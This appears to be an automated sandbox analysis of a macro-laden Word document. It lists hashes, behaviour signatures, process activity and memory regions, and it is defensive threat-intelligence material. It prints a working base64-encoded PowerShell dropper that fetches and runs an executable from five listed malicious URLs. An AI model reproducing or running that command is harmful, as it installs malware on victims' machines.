Analysis

  • max time kernel
    101s
  • max time network
    45s
  • platform
    windows7_x64
  • resource
    win7-20220718-en
  • resource tags

    arch:x64arch:x86image:win7-20220718-enlocale:en-usos:windows7-x64system
  • submitted
    25-07-2022 05:21

General

  • Target

    ba30141f7e490db648ad8e42062fd4e2b6f9eb324b4ef81063654794c244702b.doc

  • Size

    148KB

  • MD5

    d63ddec5f38f747176b48776e0134897

  • SHA1

    ce98e77025da6872502aa6c303c647ee2b5dd778

  • SHA256

    ba30141f7e490db648ad8e42062fd4e2b6f9eb324b4ef81063654794c244702b

  • SHA512

    6f5604969faef63183cb5314d26cfa0d49db70d043bb90c02bb2a08582beb14387384fcea369f5ed55dc3112ceddadf031732a4bcf46a20d60dda2247806c38c

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.andrea-alvarado.com/test/SSpxosbD/

exe.dropper

http://soafinance.com/wp-admin/fGJmODgVCE/

exe.dropper

http://filosofiya.moscow/2vx0z2/qo1xf387_mpk9z5j9-84/

exe.dropper

https://xerpsoftware.com/calendar/ZjXKtAcn/

exe.dropper

http://nasaderiksubang.top/wp-content/kuCtItoZeu/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 9 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ba30141f7e490db648ad8e42062fd4e2b6f9eb324b4ef81063654794c244702b.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2008
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JAB1ADQAMwAxAF8AOAAzADIAPQAnAEMAOAA3ADcAOQAzADIAOQAnADsAJABmADYAOAA5ADkANwA3ADYAIAA9ACAAJwAzADUAMgAnADsAJAB6ADgAOQA5ADIANgAxAD0AJwBsADEANwA3ADcAMgAxADIAJwA7ACQASAAxADEAMwAyADIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAGYANgA4ADkAOQA3ADcANgArACcALgBlAHgAZQAnADsAJAB3AF8AMgA1ADkAXwAwAD0AJwBpADUAMAAyAF8ANQAnADsAJABWAF8AMQAyADUANAA5AD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAEUAdAAuAHcAYABlAGAAQgBDAEwAaQBFAE4AVAA7ACQAYwAxADEANwA1ADcAMwA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBuAGQAcgBlAGEALQBhAGwAdgBhAHIAYQBkAG8ALgBjAG8AbQAvAHQAZQBzAHQALwBTAFMAcAB4AG8AcwBiAEQALwBAAGgAdAB0AHAAOgAvAC8AcwBvAGEAZgBpAG4AYQBuAGMAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZgBHAEoAbQBPAEQAZwBWAEMARQAvAEAAaAB0AHQAcAA6AC8ALwBmAGkAbABvAHMAbwBmAGkAeQBhAC4AbQBvAHMAYwBvAHcALwAyAHYAeAAwAHoAMgAvAHEAbwAxAHgAZgAzADgANwBfAG0AcABrADkAegA1AGoAOQAtADgANAAvAEAAaAB0AHQAcABzADoALwAvAHgAZQByAHAAcwBvAGYAdAB3AGEAcgBlAC4AYwBvAG0ALwBjAGEAbABlAG4AZABhAHIALwBaAGoAWABLAHQAQQBjAG4ALwBAAGgAdAB0AHAAOgAvAC8AbgBhAHMAYQBkAGUAcgBpAGsAcwB1AGIAYQBuAGcALgB0AG8AcAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBrAHUAQwB0AEkAdABvAFoAZQB1AC8AJwAuAFMAUABsAEkAVAAoACcAQAAnACkAOwAkAFcAMwA5ADIAMwA5ADQAPQAnAEIAMQBfADcAMwAxADgAXwAnADsAZgBvAHIAZQBhAGMAaAAoACQAUAA0ADcAOQA1ADYAIABpAG4AIAAkAGMAMQAxADcANQA3ADMAKQB7AHQAcgB5AHsAJABWAF8AMQAyADUANAA5AC4AZABPAFcATgBsAG8AYQBkAEYAaQBMAEUAKAAkAFAANAA3ADkANQA2ACwAIAAkAEgAMQAxADMAMgAyACkAOwAkAHIANAAxADAAMwA0ADEAPQAnAHEAMAA4ADMAOAA2ACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQASAAxADEAMwAyADIAKQAuAGwAZQBuAEcAVABoACAALQBnAGUAIAAzADEAMwAwADUAKQAgAHsAJgAoACcASQAnACsAJwBuACcAKwAnAHYAbwBrAGUALQBJAHQAJwArACcAZQBtACcAKQAgACQASAAxADEAMwAyADIAOwAkAE8AOAAyADkAMgA5AD0AJwBMADUANQA1ADMAMwA5ADAAJwA7AGIAcgBlAGEAawA7ACQAVwA0ADcAOQAzAF8APQAnAEcANQA5ADMAMgA3ADIAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYQA0ADEAMgAzAF8ANQA9ACcAVgA5ADcANwAwADQANwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1244

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1244-70-0x000007FEF37D0000-0x000007FEF41F3000-memory.dmp

      Filesize

      10.1MB

    • memory/1244-76-0x000000000286B000-0x000000000288A000-memory.dmp

      Filesize

      124KB

    • memory/1244-75-0x0000000002864000-0x0000000002867000-memory.dmp

      Filesize

      12KB

    • memory/1244-74-0x000000000286B000-0x000000000288A000-memory.dmp

      Filesize

      124KB

    • memory/1244-73-0x000000001B800000-0x000000001BAFF000-memory.dmp

      Filesize

      3.0MB

    • memory/1244-71-0x000007FEF2C70000-0x000007FEF37CD000-memory.dmp

      Filesize

      11.4MB

    • memory/1244-72-0x0000000002864000-0x0000000002867000-memory.dmp

      Filesize

      12KB

    • memory/1264-59-0x000000007118D000-0x0000000071198000-memory.dmp

      Filesize

      44KB

    • memory/1264-57-0x0000000075271000-0x0000000075273000-memory.dmp

      Filesize

      8KB

    • memory/1264-63-0x00000000004E5000-0x0000000000506000-memory.dmp

      Filesize

      132KB

    • memory/1264-65-0x00000000004E5000-0x0000000000506000-memory.dmp

      Filesize

      132KB

    • memory/1264-66-0x00000000004E5000-0x0000000000506000-memory.dmp

      Filesize

      132KB

    • memory/1264-67-0x00000000004E5000-0x0000000000506000-memory.dmp

      Filesize

      132KB

    • memory/1264-62-0x00000000004E5000-0x0000000000506000-memory.dmp

      Filesize

      132KB

    • memory/1264-79-0x000000007118D000-0x0000000071198000-memory.dmp

      Filesize

      44KB

    • memory/1264-54-0x0000000072721000-0x0000000072724000-memory.dmp

      Filesize

      12KB

    • memory/1264-78-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1264-61-0x00000000004E5000-0x0000000000506000-memory.dmp

      Filesize

      132KB

    • memory/1264-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1264-55-0x00000000701A1000-0x00000000701A3000-memory.dmp

      Filesize

      8KB

    • memory/1264-77-0x000000007118D000-0x0000000071198000-memory.dmp

      Filesize

      44KB

    • memory/2008-60-0x000007FEFBB81000-0x000007FEFBB83000-memory.dmp

      Filesize

      8KB